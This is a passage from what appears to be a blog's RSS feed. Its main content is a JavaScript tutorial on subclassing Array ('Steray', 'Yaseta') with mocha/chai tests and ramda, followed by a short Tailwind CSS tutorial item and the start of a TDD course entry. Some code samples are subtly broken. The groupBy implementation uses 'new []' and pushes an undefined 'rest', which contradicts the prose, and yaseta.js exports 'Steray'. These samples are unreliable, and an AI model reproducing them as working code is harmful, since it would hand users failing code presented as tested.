<pre class="hljs"><code><span class="hljs-keyword">const</span> usernames = users.map(<span class="hljs-function"><span class="hljs-params">user</span> =&gt;</span> user.name)
</code></pre>
<p>is definitely much more readable than</p>
<pre class="hljs"><code><span class="hljs-keyword">const</span> usernames = []

users.forEach(<span class="hljs-function"><span class="hljs-params">user</span> =&gt;</span> {
  usernames.push(user.name)
})
</code></pre>
<p>wouldn't</p>
<pre class="hljs"><code><span class="hljs-keyword">const</span> usernames = users.pluck(<span class="hljs-string">'name'</span>)
</code></pre>
<p>be even nicer?</p>
<p>So let's see how we can create such functionality. Let's dive into the world of subclassing arrays. We will also look at unit testing in NodeJS as well as a more functional alternative approach.</p>
<x-ad />
<p>Btw. I am not promoting some revolutionary new library here. We are simply exploring ideas. I still created a <a href="https://github.com/MZanggl/subclassing-array-experiments">GitHub repo</a> for this so you can check out the whole code if you want.</p>
<hr>
<h3 id="but-first%2C-how-do-we-create-arrays-in-javascript%3F">But first, how do we create arrays in JavaScript?</h3>
<p>The classic</p>
<pre class="hljs"><code><span class="hljs-keyword">const</span> numbers = [<span class="hljs-number">1</span>, <span class="hljs-number">2</span>, <span class="hljs-number">3</span>]
</code></pre>
<p>and the maybe not so well known</p>
<pre class="hljs"><code><span class="hljs-keyword">const</span> numbers = <span class="hljs-keyword">new</span> <span class="hljs-built_in">Array</span>(<span class="hljs-number">1</span>, <span class="hljs-number">2</span>, <span class="hljs-number">3</span>)
</code></pre>
<p>But the above doesn't do what you would expect when you only pass one argument. <code>new Array(3)</code> would create an array with three empty values instead of an array with just one value being <code>3</code>.</p>
<p>ES6 introduces a static method that fixes that behaviour.</p>
<pre class="hljs"><code><span class="hljs-keyword">const</span> numbers = <span class="hljs-built_in">Array</span>.of(<span class="hljs-number">1</span>, <span class="hljs-number">2</span>, <span class="hljs-number">3</span>)
</code></pre>
<p>Then there is also this</p>
<pre class="hljs"><code><span class="hljs-keyword">const</span> array = <span class="hljs-built_in">Array</span>.from({ <span class="hljs-attr">length</span>: <span class="hljs-number">3</span> })
<span class="hljs-comment">//? (3) [undefined, undefined, undefined]</span>
</code></pre>
<p>The above works because <code>Array.from</code> expects an array-like object. An object with a length property is all we need to create such an object.</p>
<p>It can also have a second parameter to map over the array.</p>
<pre class="hljs"><code><span class="hljs-keyword">const</span> array = <span class="hljs-built_in">Array</span>.from({ <span class="hljs-attr">length</span>: <span class="hljs-number">3</span> }, (val, i) =&gt; i)
<span class="hljs-comment">//? (3) [0, 1, 2]</span>
</code></pre>
<hr>
<p>With that in mind, let's create <code>Steray</code>, <strong>Array on Steroids</strong>.</p>
<p>With ES6 and the introduction of classes it is possible to easily extend arrays</p>
<pre class="hljs"><code><span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">Steray</span> <span class="hljs-keyword">extends</span> <span class="hljs-title">Array</span> </span>{
    log() {
        <span class="hljs-built_in">console</span>.log(<span class="hljs-keyword">this</span>)
    }
}

<span class="hljs-keyword">const</span> numbers = <span class="hljs-keyword">new</span> Steray(<span class="hljs-number">1</span>, <span class="hljs-number">2</span>, <span class="hljs-number">3</span>)
numbers.log() <span class="hljs-comment">// logs [1, 2, 3]</span>
</code></pre>
<p>So far so good, but what if we have an existing array and want to turn it into a <code>Steray</code>?</p>
<p>Remember that with <code>Array.from</code> we can create a new array by passing an array-like object, and aren't arrays kind of included in that definition?</p>
<p>Which ultimately means we can do this</p>
<pre class="hljs"><code><span class="hljs-keyword">const</span> normalArray = [<span class="hljs-number">1</span>, <span class="hljs-number">2</span>, <span class="hljs-number">3</span>]
<span class="hljs-keyword">const</span> steray = Steray.from(normalArray)
</code></pre>
<p>or alternatively</p>
<pre class="hljs"><code><span class="hljs-keyword">const</span> normalArray = [<span class="hljs-number">1</span>, <span class="hljs-number">2</span>, <span class="hljs-number">3</span>]
<span class="hljs-keyword">const</span> steray = Steray.of(...normalArray)
</code></pre>
<hr>
<p>Let's start adding some methods to <code>Steray</code>.
Inside <code>steray.js</code> we can just add the long awaited <code>pluck</code> method to the class</p>
<pre class="hljs"><code>pluck(key) {
    <span class="hljs-keyword">return</span> <span class="hljs-keyword">this</span>.map(<span class="hljs-function"><span class="hljs-params">item</span> =&gt;</span> item[key])
}
</code></pre>
<p>and that's it. Elegant and powerful.</p>
<h2 id="setting-up-tests">Setting up tests</h2>
<p>But how do we know this works? We don't know want to go into the browser every time and test our class in the console. So let's quickly set up unit testing, so we can be confident that what we are doing is correct.</p>
<p>Create the following directory structure</p>
<pre class="hljs"><code>steray
    src
        steray.js
    <span class="hljs-built_in">test</span>
        sterayTest.js
</code></pre>
<p>With node and npm installed, install the unit testing framework <code>mocha</code> globally.</p>
<pre class="hljs"><code>npm install mocha -g
</code></pre>
<p>Next let's initialize <code>package.json</code> by running <code>npm init</code> in the root of the directory. Follow the instructions until it creates a <code>package.json</code> file. When it asks you for the <code>test</code> script enter <code>mocha</code>. Alternatively you can also change this later inside <code>package.json</code>.</p>
<pre class="hljs"><code><span class="hljs-string">"scripts"</span>: {
    <span class="hljs-attr">"test"</span>: <span class="hljs-string">"mocha"</span>
},
</code></pre>
<p>Next, install the assertion library <code>chai</code> locally</p>
<pre class="hljs"><code>npm install chai --save-dev
</code></pre>
<p>And that's all we had to setup. Let's open up <code>sterayTest.js</code> and write our first test</p>
<pre class="hljs"><code><span class="hljs-keyword">const</span> expect = <span class="hljs-built_in">require</span>(<span class="hljs-string">'chai'</span>).expect
<span class="hljs-keyword">const</span> Steray = <span class="hljs-built_in">require</span>(<span class="hljs-string">'../src/steray'</span>)

describe(<span class="hljs-string">'pluck'</span>, <span class="hljs-function"><span class="hljs-keyword">function</span>(<span class="hljs-params"></span>) </span>{
    it(<span class="hljs-string">'should pluck values using the "name" prop'</span>, <span class="hljs-function"><span class="hljs-keyword">function</span>(<span class="hljs-params"></span>) </span>{
        <span class="hljs-keyword">const</span> users = <span class="hljs-keyword">new</span> Steray( 
            { <span class="hljs-attr">name</span>: <span class="hljs-string">'Michael'</span> },
            { <span class="hljs-attr">name</span>: <span class="hljs-string">'Lukas'</span> },
        )

        <span class="hljs-keyword">const</span> names = users.pluck(<span class="hljs-string">'name'</span>)
        expect(names).to.deep.equal([ <span class="hljs-string">'Michael'</span>, <span class="hljs-string">'Lukas'</span> ])
    })
})
</code></pre>
<p>Run the tests using <code>npm run test</code> in the root of the directory and it should output that one test is passing.
With that out of the way we can now safely continue writing new methods, or change the implementation of <code>pluck</code> without having to worry about our code breaking.</p>
<p>Let's add some more methods, but this time in the spirit of test driven development!</p>
<hr>
<p>You know what I really don't like? These pesky <code>for</code> loops.</p>
<pre class="hljs"><code><span class="hljs-keyword">for</span> (<span class="hljs-keyword">let</span> i; i &lt; <span class="hljs-number">10</span>; i++)
</code></pre>
<p>Is it <code>let i</code> or <code>const i</code>, is it <code>&lt;</code> or <code>&lt;=</code>? Wouldn't it be nice if there was an easier way to achieve this.
While you can use the syntax we learned earlier <code>Array.from({ length: 10 }, (value, index) =&gt; index)</code> it is unnecessarily verbose.
Inspired by lodash and Laravel collections, let's create a static <code>times</code> method.</p>
<p>In order for you to see the method in action, let's first create the unit test.</p>
<pre class="hljs"><code>describe(<span class="hljs-string">'times'</span>, <span class="hljs-function"><span class="hljs-keyword">function</span>(<span class="hljs-params"></span>) </span>{
    it(<span class="hljs-string">'should return an array containing the indices 0 and 1'</span>, <span class="hljs-function"><span class="hljs-keyword">function</span>(<span class="hljs-params"></span>) </span>{
        <span class="hljs-keyword">const</span> numbers = Steray.times(<span class="hljs-number">2</span>, i =&gt; i)
        expect(numbers).to.deep.equal([ <span class="hljs-number">0</span>, <span class="hljs-number">1</span> ])
    })
})
</code></pre>
<p>Try running <code>npm run test</code> and it should return errors because <code>times</code> doesn't exist yet.</p>
<blockquote>
<p>I will always show the test first, so you can try implementing the method yourself before looking at my implementation. Found a better solution? Send in a PR!</p>
</blockquote>
<p>So, here is my implementation of <code>times</code> in <code>steray.js</code></p>
<pre class="hljs"><code><span class="hljs-keyword">static</span> times(length, fn) {
    <span class="hljs-keyword">return</span> <span class="hljs-keyword">this</span>.from({ length }, (value, i) =&gt; fn(i))
}
</code></pre>
<hr>
<p>Sometimes you might get confused if there is a long chain and you want to tap into the process to see what is going on. So let's build that functionality.</p>
<p>An example use case would be</p>
<pre class="hljs"><code>[<span class="hljs-number">1</span>, <span class="hljs-number">2</span>, <span class="hljs-number">3</span>, <span class="hljs-number">4</span>, <span class="hljs-number">5</span>]
    .filter(<span class="hljs-function"><span class="hljs-params">i</span> =&gt;</span> i &lt; <span class="hljs-number">4</span>)
    .map(<span class="hljs-function"><span class="hljs-params">i</span> =&gt;</span> i * <span class="hljs-number">10</span>)
    .tap(<span class="hljs-built_in">console</span>.log)
    .find(<span class="hljs-function"><span class="hljs-params">i</span> =&gt;</span> i === <span class="hljs-number">20</span>)
</code></pre>
<p><code>tap</code> executes the function but then just returns the very same array again unmodified. <code>tap</code> does not return what the callback returns.
For such a functionality, let's create another method <code>pipe</code>.</p>
<p>Here are the tests</p>
<pre class="hljs"><code>describe(<span class="hljs-string">'tapping and piping'</span>, <span class="hljs-function"><span class="hljs-keyword">function</span>(<span class="hljs-params"></span>) </span>{
    it(<span class="hljs-string">'should execute callback one time'</span>, <span class="hljs-function"><span class="hljs-keyword">function</span>(<span class="hljs-params"></span>) </span>{
        <span class="hljs-keyword">let</span> i = <span class="hljs-number">0</span>
        <span class="hljs-keyword">new</span> Steray(<span class="hljs-number">1</span>, <span class="hljs-number">2</span>, <span class="hljs-number">3</span>).tap(<span class="hljs-function"><span class="hljs-params">array</span> =&gt;</span> i = i + <span class="hljs-number">1</span>)

        expect(i).to.equal(<span class="hljs-number">1</span>)
    })

    it(<span class="hljs-string">'should return original array when tapping'</span>, <span class="hljs-function"><span class="hljs-keyword">function</span>(<span class="hljs-params"></span>) </span>{
        <span class="hljs-keyword">const</span> array = <span class="hljs-keyword">new</span> Steray(<span class="hljs-number">1</span>, <span class="hljs-number">2</span>, <span class="hljs-number">3</span>).tap(<span class="hljs-function"><span class="hljs-params">()</span> =&gt;</span> <span class="hljs-number">10</span>)
        expect(array).to.deep.equal([<span class="hljs-number">1</span>, <span class="hljs-number">2</span>, <span class="hljs-number">3</span>])
    })

    it(<span class="hljs-string">'should return result of pipe'</span>, <span class="hljs-function"><span class="hljs-keyword">function</span>(<span class="hljs-params"></span>) </span>{
        <span class="hljs-keyword">const</span> piped = <span class="hljs-keyword">new</span> Steray(<span class="hljs-number">1</span>, <span class="hljs-number">2</span>, <span class="hljs-number">3</span>).pipe(<span class="hljs-function"><span class="hljs-params">array</span> =&gt;</span> array.length)
        expect(piped).to.equal(<span class="hljs-number">3</span>)
    })
})
</code></pre>
<p>And here is the implementation</p>
<pre class="hljs"><code>tap(fn) {
    fn(<span class="hljs-keyword">this</span>)
    <span class="hljs-keyword">return</span> <span class="hljs-keyword">this</span>
}
</code></pre>
<pre class="hljs"><code>pipe(fn) {
    <span class="hljs-keyword">return</span> fn(<span class="hljs-keyword">this</span>)
}
</code></pre>
<p>It's amazing how small yet powerful these methods are!</p>
<hr>
<p>Remember how in the previous blog post we were turning the <code>users</code> array into a hashMap grouped by the <code>group</code> key.</p>
<p>Let's also create this functionality by implementing a new method <code>groupBy</code>! Here is the test</p>
<pre class="hljs"><code>describe(<span class="hljs-string">'groupBy'</span>, <span class="hljs-function"><span class="hljs-keyword">function</span>(<span class="hljs-params"></span>) </span>{
    it(<span class="hljs-string">'should hashMap'</span>, <span class="hljs-function"><span class="hljs-keyword">function</span>(<span class="hljs-params"></span>) </span>{
        <span class="hljs-keyword">const</span> users = <span class="hljs-keyword">new</span> Steray( 
            { <span class="hljs-attr">name</span>: <span class="hljs-string">'Michael'</span>, <span class="hljs-attr">group</span>: <span class="hljs-number">1</span> },
            { <span class="hljs-attr">name</span>: <span class="hljs-string">'Lukas'</span>, <span class="hljs-attr">group</span>: <span class="hljs-number">1</span> },
            { <span class="hljs-attr">name</span>: <span class="hljs-string">'Travis'</span>, <span class="hljs-attr">group</span>: <span class="hljs-number">2</span> },
        )

        <span class="hljs-keyword">const</span> userMap = users.groupBy(<span class="hljs-string">'group'</span>)

        expect(userMap).to.deep.equal({
            <span class="hljs-string">'1'</span>: [
                { <span class="hljs-attr">name</span>: <span class="hljs-string">'Michael'</span>, <span class="hljs-attr">group</span>: <span class="hljs-number">1</span> },
                { <span class="hljs-attr">name</span>: <span class="hljs-string">'Lukas'</span>, <span class="hljs-attr">group</span>: <span class="hljs-number">1</span> },
            ],
            <span class="hljs-string">'2'</span>: [
                { <span class="hljs-attr">name</span>: <span class="hljs-string">'Travis'</span>, <span class="hljs-attr">group</span>: <span class="hljs-number">2</span> },
            ]
        })
    })
})
</code></pre>
<p>and here is the implementation</p>
<pre class="hljs"><code>groupBy(groupByProp) {
    <span class="hljs-keyword">return</span> <span class="hljs-keyword">this</span>.reduce(<span class="hljs-function">(<span class="hljs-params">result, item</span>) =&gt;</span> {
        <span class="hljs-keyword">const</span> id = item[groupByProp]
        result[id] = result[id] || <span class="hljs-keyword">new</span> []
        
        result[id].push(rest);

        <span class="hljs-keyword">return</span> result;
    }, {})
}
</code></pre>
<p>While this works, we might run into problems at one point. I will add another unit test to illustrate what can go wrong.</p>
<pre class="hljs"><code>it(<span class="hljs-string">'should hashMap using Steray array'</span>, <span class="hljs-function"><span class="hljs-keyword">function</span>(<span class="hljs-params"></span>) </span>{
    <span class="hljs-keyword">const</span> users = <span class="hljs-keyword">new</span> Steray( 
        { <span class="hljs-attr">name</span>: <span class="hljs-string">'Michael'</span>, <span class="hljs-attr">group</span>: <span class="hljs-number">1</span> },
        { <span class="hljs-attr">name</span>: <span class="hljs-string">'Lukas'</span>, <span class="hljs-attr">group</span>: <span class="hljs-number">1</span> },
        { <span class="hljs-attr">name</span>: <span class="hljs-string">'Travis'</span>, <span class="hljs-attr">group</span>: <span class="hljs-number">2</span> },
    )

    <span class="hljs-keyword">const</span> userMap = users.groupBy(<span class="hljs-string">'group'</span>)
    <span class="hljs-keyword">const</span> groupOne = userMap[<span class="hljs-string">'1'</span>]
    <span class="hljs-keyword">const</span> isInstanceOfSteray = (groupOne <span class="hljs-keyword">instanceof</span> Steray)
    expect(isInstanceOfSteray).to.be.true
})
</code></pre>
<p>What went wrong is <code>result[id] = result[id] || []</code>, specifically <code>[]</code>. Since we create a normal array, all our newly implemented methods will not be available.</p>
<p>To fix this, let's use <code>result[id] = result[id] || new Steray</code> instead.</p>
<p>While the test will pass, the solution is also not 100% clean.
What if we later wanted to move this function into its own file and import it here, wouldn't it create circular dependencies? Also it would be nice if it would be unaware of <code>Steray</code>.</p>
<p>A better solution in my opinion is the following</p>
<pre class="hljs"><code>result[id] = result[id] || <span class="hljs-keyword">new</span> <span class="hljs-keyword">this</span>.constructor
</code></pre>
<p><code>this</code> refers to the steray array and with <code>this.constructor</code> we get the class <code>Steray</code> dynamically.</p>
<hr>
<p>There is a lot more we can add really</p>
<ul>
<li>deduplicating</li>
<li>chunking</li>
<li>padding</li>
<li>prepending data to an array without transforming the original array (unlike <code>unshift</code>)</li>
</ul>
<p>just to name a few.</p>
<p>You can find the <code>Steray</code> class including the unit tests and the above mentioned methods like <code>chunk</code>, <code>pad</code>, <code>unique</code> and <code>prepend</code> in the following <a href="https://github.com/MZanggl/subclassing-array-experiments">GitHub repo</a>.</p>
<h2 id="an-alternative-to-subclassing">An alternative to subclassing</h2>
<p>Eventually our class may grow into a massive clutter of helper functions and you might run into certain limits.</p>
<p>A different approach would be to go completely functional with <a href="https://ramdajs.com/">ramda</a>.
Ramda has the extra benefit that it also has methods for objects, strings, numbers, even functions.</p>
<p>An example of ramda would be</p>
<pre class="hljs"><code><span class="hljs-keyword">const</span> R = <span class="hljs-built_in">require</span>(<span class="hljs-string">'ramda'</span>)

<span class="hljs-keyword">const</span> users = [
    { <span class="hljs-attr">name</span>: <span class="hljs-string">'Conan'</span>, <span class="hljs-attr">location</span>: { <span class="hljs-attr">city</span>: <span class="hljs-string">'Tokyo'</span> } },
    { <span class="hljs-attr">name</span>: <span class="hljs-string">'Genta'</span>, <span class="hljs-attr">location</span>: { <span class="hljs-attr">city</span>: <span class="hljs-string">'Tokyo'</span> } },
    { <span class="hljs-attr">name</span>: <span class="hljs-string">'Ayumi'</span>, <span class="hljs-attr">location</span>: { <span class="hljs-attr">city</span>: <span class="hljs-string">'Kawasaki'</span> } },
]

<span class="hljs-keyword">const</span> getUniqueCitiesCapitalized = R.pipe(
    R.pluck(<span class="hljs-string">'location'</span>),
    R.pluck(<span class="hljs-string">'city'</span>),
    R.map(<span class="hljs-function"><span class="hljs-params">city</span> =&gt;</span> city.toUpperCase()),
    R.uniq()
)
<span class="hljs-keyword">const</span> cities = getUniqueCitiesCapitalized(users)

expect(cities).to.deep.equal([<span class="hljs-string">'TOKYO'</span>, <span class="hljs-string">'KAWASAKI'</span>])
</code></pre>
<p>So how about we combine the two, a simple array subclass with the power of consuming ramda functions. I know I know, we are sort of abusing ramda at this point, but it's still interesting to check it out. We just need a new name..., our Array class is not really on steroids anymore, it's quite the opposite, so let' call it <code>Yaseta</code>, the Japanese expression when somebody lost weight.</p>
<p>Let's install ramda using <code>npm install ramda --save-dev</code> (we only need it for the tests) and create some tests, so we can see how we will use our new library.</p>
<pre class="hljs"><code><span class="hljs-comment">// test/yasetaTest.js</span>

<span class="hljs-keyword">const</span> expect = <span class="hljs-built_in">require</span>(<span class="hljs-string">'chai'</span>).expect
<span class="hljs-keyword">const</span> Yaseta = <span class="hljs-built_in">require</span>(<span class="hljs-string">'../src/yaseta'</span>)
<span class="hljs-keyword">const</span> pluck = <span class="hljs-built_in">require</span>(<span class="hljs-string">'ramda/src/pluck'</span>)

describe(<span class="hljs-string">'underscore methods'</span>, <span class="hljs-function"><span class="hljs-keyword">function</span>(<span class="hljs-params"></span>) </span>{
    it(<span class="hljs-string">'returns result of callback'</span>, <span class="hljs-function"><span class="hljs-keyword">function</span>(<span class="hljs-params"></span>) </span>{
        <span class="hljs-keyword">const</span> numbers = <span class="hljs-keyword">new</span> Yaseta(<span class="hljs-number">1</span>, <span class="hljs-number">2</span>)
        <span class="hljs-keyword">const</span> size = numbers._(<span class="hljs-function"><span class="hljs-params">array</span> =&gt;</span> array.length)

        expect(size).to.equal(<span class="hljs-number">2</span>)
    })

    it(<span class="hljs-string">'returns result of assigned callback using higher order function'</span>, <span class="hljs-function"><span class="hljs-keyword">function</span>(<span class="hljs-params"></span>) </span>{
        <span class="hljs-keyword">const</span> users = <span class="hljs-keyword">new</span> Yaseta(
            { <span class="hljs-attr">name</span>: <span class="hljs-string">'Conan'</span> },
            { <span class="hljs-attr">name</span>: <span class="hljs-string">'Genta'</span> }
        )

        <span class="hljs-comment">// this is how ramda works</span>
        <span class="hljs-keyword">const</span> customPluck = <span class="hljs-function"><span class="hljs-params">key</span> =&gt;</span> <span class="hljs-function"><span class="hljs-params">array</span> =&gt;</span> {
            <span class="hljs-keyword">return</span> array.map(<span class="hljs-function"><span class="hljs-params">item</span> =&gt;</span> item[key])
        }

        <span class="hljs-keyword">const</span> usernames = users._(customPluck(<span class="hljs-string">'name'</span>))

        expect(usernames).to.deep.equal([<span class="hljs-string">'Conan'</span>, <span class="hljs-string">'Genta'</span>])
    })

    it(<span class="hljs-string">'can assign ramda methods'</span>, <span class="hljs-function"><span class="hljs-keyword">function</span>(<span class="hljs-params"></span>) </span>{
        <span class="hljs-keyword">const</span> users = <span class="hljs-keyword">new</span> Yaseta(
            { <span class="hljs-attr">name</span>: <span class="hljs-string">'Conan'</span> },
            { <span class="hljs-attr">name</span>: <span class="hljs-string">'Genta'</span> }
        )

        <span class="hljs-keyword">const</span> usernames = users._(pluck(<span class="hljs-string">'name'</span>))

        expect(usernames).to.deep.equal([<span class="hljs-string">'Conan'</span>, <span class="hljs-string">'Genta'</span>])
    })
})
</code></pre>
<p>And let's create <code>yaseta.js</code> in the <code>src</code> directory.</p>
<pre class="hljs"><code><span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">Yaseta</span> <span class="hljs-keyword">extends</span> <span class="hljs-title">Array</span> </span>{
    _(fn) {
        <span class="hljs-keyword">const</span> result = fn(<span class="hljs-keyword">this</span>)
        <span class="hljs-keyword">return</span> <span class="hljs-keyword">this</span>._transformResult(result)
    }

    _transformResult(result) {
        <span class="hljs-keyword">if</span> (<span class="hljs-built_in">Array</span>.isArray(result)) {
            <span class="hljs-keyword">return</span> <span class="hljs-keyword">this</span>.constructor.from(result)
        }

        <span class="hljs-keyword">return</span> result
    }
}

<span class="hljs-built_in">module</span>.exports = Steray
</code></pre>
<p>We called the method <code>_</code> to take the least amount of space by still providing some readability (at least for people familiar with lodash and such). Well, we are just exploring ideas here anyways.</p>
<p>But what's the deal with <code>_transformResult</code>?</p>
<p>See when <code>ramda</code> creates new arrays it doesn't do it using <code>array.constructor</code>. It just creates a normal array, I guess this is because their <code>list</code> functions also work on other iterables. So we would not be able to say</p>
<pre class="hljs"><code>numbers
    ._(<span class="hljs-function"><span class="hljs-params">array</span> =&gt;</span> array)
    ._(<span class="hljs-function"><span class="hljs-params">array</span> =&gt;</span> array) <span class="hljs-comment">// would crash here</span>
</code></pre>
<p>But thanks to <code>_transformResult</code>, we turn it into a <code>Yaseta</code> instance again. Let's add another test to see if the above is possible</p>
<pre class="hljs"><code><span class="hljs-keyword">const</span> pluck = <span class="hljs-built_in">require</span>(<span class="hljs-string">'ramda/src/pluck'</span>)
<span class="hljs-keyword">const</span> uniq = <span class="hljs-built_in">require</span>(<span class="hljs-string">'ramda/src/uniq'</span>)
<span class="hljs-keyword">const</span> map = <span class="hljs-built_in">require</span>(<span class="hljs-string">'ramda/src/map'</span>)
<span class="hljs-comment">// ...</span>
it(<span class="hljs-string">'can chain methods with ramda'</span>, <span class="hljs-function"><span class="hljs-keyword">function</span>(<span class="hljs-params"></span>) </span>{
    <span class="hljs-keyword">const</span> users = <span class="hljs-keyword">new</span> Yaseta(
        { <span class="hljs-attr">name</span>: <span class="hljs-string">'Conan'</span>, <span class="hljs-attr">location</span>: { <span class="hljs-attr">city</span>: <span class="hljs-string">'Tokyo'</span> } },
        { <span class="hljs-attr">name</span>: <span class="hljs-string">'Genta'</span>, <span class="hljs-attr">location</span>: { <span class="hljs-attr">city</span>: <span class="hljs-string">'Tokyo'</span> } },
        { <span class="hljs-attr">name</span>: <span class="hljs-string">'Ayumi'</span>, <span class="hljs-attr">location</span>: { <span class="hljs-attr">city</span>: <span class="hljs-string">'Kanagawa'</span> } },
    )

    <span class="hljs-keyword">const</span> cities = users
        ._(pluck(<span class="hljs-string">'location'</span>))
        ._(pluck(<span class="hljs-string">'city'</span>))
        .map(<span class="hljs-function"><span class="hljs-params">city</span> =&gt;</span> city.toUpperCase())
        ._(map(<span class="hljs-function"><span class="hljs-params">city</span> =&gt;</span> city.toUpperCase())) <span class="hljs-comment">// same as above</span>
        .filter(<span class="hljs-function"><span class="hljs-params">city</span> =&gt;</span> city.startsWith(<span class="hljs-string">'T'</span>))
        ._(uniq)

        expect(cities).to.deep.equal([<span class="hljs-string">'TOKYO'</span>])
})
</code></pre>
<p>Let's also create a <code>pipe</code> method. This time, you can pass as many functions as you need though.</p>
<pre class="hljs"><code>describe(<span class="hljs-string">'pipe'</span>, <span class="hljs-function"><span class="hljs-keyword">function</span>(<span class="hljs-params"></span>) </span>{
    it(<span class="hljs-string">'can pipe methods'</span>, <span class="hljs-function"><span class="hljs-keyword">function</span>(<span class="hljs-params"></span>) </span>{
        <span class="hljs-keyword">const</span> users = <span class="hljs-keyword">new</span> Yaseta(
            { <span class="hljs-attr">name</span>: <span class="hljs-string">'Conan'</span>, <span class="hljs-attr">location</span>: { <span class="hljs-attr">city</span>: <span class="hljs-string">'Tokyo'</span> } },
            { <span class="hljs-attr">name</span>: <span class="hljs-string">'Genta'</span>, <span class="hljs-attr">location</span>: { <span class="hljs-attr">city</span>: <span class="hljs-string">'Tokyo'</span> } },
            { <span class="hljs-attr">name</span>: <span class="hljs-string">'Ayumi'</span>, <span class="hljs-attr">location</span>: { <span class="hljs-attr">city</span>: <span class="hljs-string">'Kanagawa'</span> } },
        )

        <span class="hljs-keyword">const</span> cities = users
            .pipe(
                pluck(<span class="hljs-string">'location'</span>),
                pluck(<span class="hljs-string">'city'</span>),
                map(<span class="hljs-function"><span class="hljs-params">city</span> =&gt;</span> city.toUpperCase())
            )
            .filter(<span class="hljs-function"><span class="hljs-params">city</span> =&gt;</span> city.startsWith(<span class="hljs-string">'T'</span>))
            ._(uniq)

            expect(cities).to.deep.equal([<span class="hljs-string">'TOKYO'</span>])
    })
})
</code></pre>
<p>And the implementation in the Yaseta class:</p>
<pre class="hljs"><code>pipe(...fns) {
    <span class="hljs-keyword">const</span> result = fns.reduce(<span class="hljs-function">(<span class="hljs-params">result, fn</span>) =&gt;</span> {
        <span class="hljs-keyword">return</span> fn(result)
    }, <span class="hljs-keyword">this</span>)

    <span class="hljs-keyword">return</span> <span class="hljs-keyword">this</span>._transformResult(result)
}
</code></pre>
<h2 id="conclusion">Conclusion</h2>
<p>So when we compare the different solutions, what do we have now?</p>
<p><strong>Steray</strong></p>
<pre class="hljs"><code>users = Steray.from(users)
<span class="hljs-keyword">const</span> usernames = users.pluck(<span class="hljs-string">'name'</span>)
</code></pre>
<p><strong>Yaseta</strong></p>
<pre class="hljs"><code>users = Yaseta.from(users)
<span class="hljs-keyword">const</span> usernames = users._(pluck(<span class="hljs-string">'name'</span>))
</code></pre>
<p><strong>ramda</strong></p>
<pre class="hljs"><code><span class="hljs-keyword">const</span> usernames = R.pluck(<span class="hljs-string">'name'</span>)(users)
</code></pre>
<p><strong>Vanilla</strong></p>
<pre class="hljs"><code><span class="hljs-keyword">const</span> usernames = users.map(<span class="hljs-function"><span class="hljs-params">user</span> =&gt;</span> user.name)
</code></pre>
<p>Each has its own benefits</p>
<p><strong>Steray</strong></p>
<p>[+] super readable</p>
<p>[-] subclassing array necessary</p>
<p>[-] manually define methods on class</p>
<p><strong>Yaseta</strong></p>
<p>[+] can use all of ramdas methods, but not limited to ramda</p>
<p>[+] OSS contributors could also add more functions that you can install separately.</p>
<p>[-] subclassing array necessary</p>
<p>[-] underscore might throw some off</p>
<p><strong>ramda</strong></p>
<p>[+] provides 100% functional approach</p>
<p>[-] We can no longer use dot notation and the <code>Array.prototype</code> methods</p>
<p><strong>Vanilla</strong></p>
<p>[+] can be used anywhere</p>
<p>[+] no additional learning required for devs</p>
<p>[-] limited to existing methods</p>
<hr>
<p>In most cases the vanilla version is probably good enough, but it's nontheless interesting to see what is possible in JavaScript.</p>
<p>It turns out there is actually another way of handling this kind of thing. Wouldn't it be nice if we could just have dynamic method names on our arrays? Turns out we can!</p>
<p>But that's for next time ;)</p>
]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Tailwind CSS - from skeptic to practiced]]></title>
            <link>https://michaelzanggl.com/articles/tailwind-css-for-skeptics/</link>
            <guid>tailwind-css-for-skeptics</guid>
            <description><![CDATA[Introduction to an interactive tutorial on Tailwind CSS.]]></description>
            <content:encoded><![CDATA[<p>Tailwind CSS is an amazing framework for CSS but when people first see this:</p>
<pre class="hljs"><code><span class="hljs-tag">&lt;<span class="hljs-name">div</span> <span class="hljs-attr">class</span>=<span class="hljs-string">"sm:flex bg-white bg-gray-200 rounded-lg p-6"</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">img</span> <span class="hljs-attr">class</span>=<span class="hljs-string">"h-16 w-16 sm:h-24 sm:w-24 rounded-full mx-auto sm:mx-0 sm:mr-6"</span> <span class="hljs-attr">src</span>=<span class="hljs-string">"https://via.placeholder.com/150"</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">div</span> <span class="hljs-attr">class</span>=<span class="hljs-string">"text-center sm:text-left"</span>&gt;</span>
      <span class="hljs-tag">&lt;<span class="hljs-name">h2</span> <span class="hljs-attr">class</span>=<span class="hljs-string">"text-lg"</span>&gt;</span>Erin Lindford<span class="hljs-tag">&lt;/<span class="hljs-name">h2</span>&gt;</span>
      <span class="hljs-tag">&lt;<span class="hljs-name">div</span> <span class="hljs-attr">class</span>=<span class="hljs-string">"text-purple-500"</span>&gt;</span>Customer Support<span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span>
      <span class="hljs-tag">&lt;<span class="hljs-name">div</span> <span class="hljs-attr">class</span>=<span class="hljs-string">"text-gray-600"</span>&gt;</span>erinlindford@example.com<span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span>
      <span class="hljs-tag">&lt;<span class="hljs-name">div</span> <span class="hljs-attr">class</span>=<span class="hljs-string">"text-gray-600"</span>&gt;</span>(555) 765-4321<span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span>
    <span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span>
<span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span>
</code></pre>
<p>Well, ... It looks horrendous, doesn't it?</p>
<p>Turns out it comes with a ton of great benefits and <strong>once you try it, it's hard to go back</strong>.</p>
<p>But you don't have to do it alone, I've created an interactive tutorial to walk you through the benefits, let you play with it and feel the productivity.</p>
<p>You can check it out <a href="https://learning-by-vueing.pages.dev/tailwind/pre/">here</a>. Tailwind isn't hard, in fact, the tutorial is less than 20 slides!</p>
<p>So if you are skeptical about Tailwind, or want to find out why it has gotten this popular, please take a look ;)</p>
]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[TDD course with AdonisJs - 1. Let's build a reddit clone]]></title>
            <link>https://michaelzanggl.com/articles/tdd-with-adonisjs-1/</link>
            <guid>tdd-with-adonisjs-1</guid>
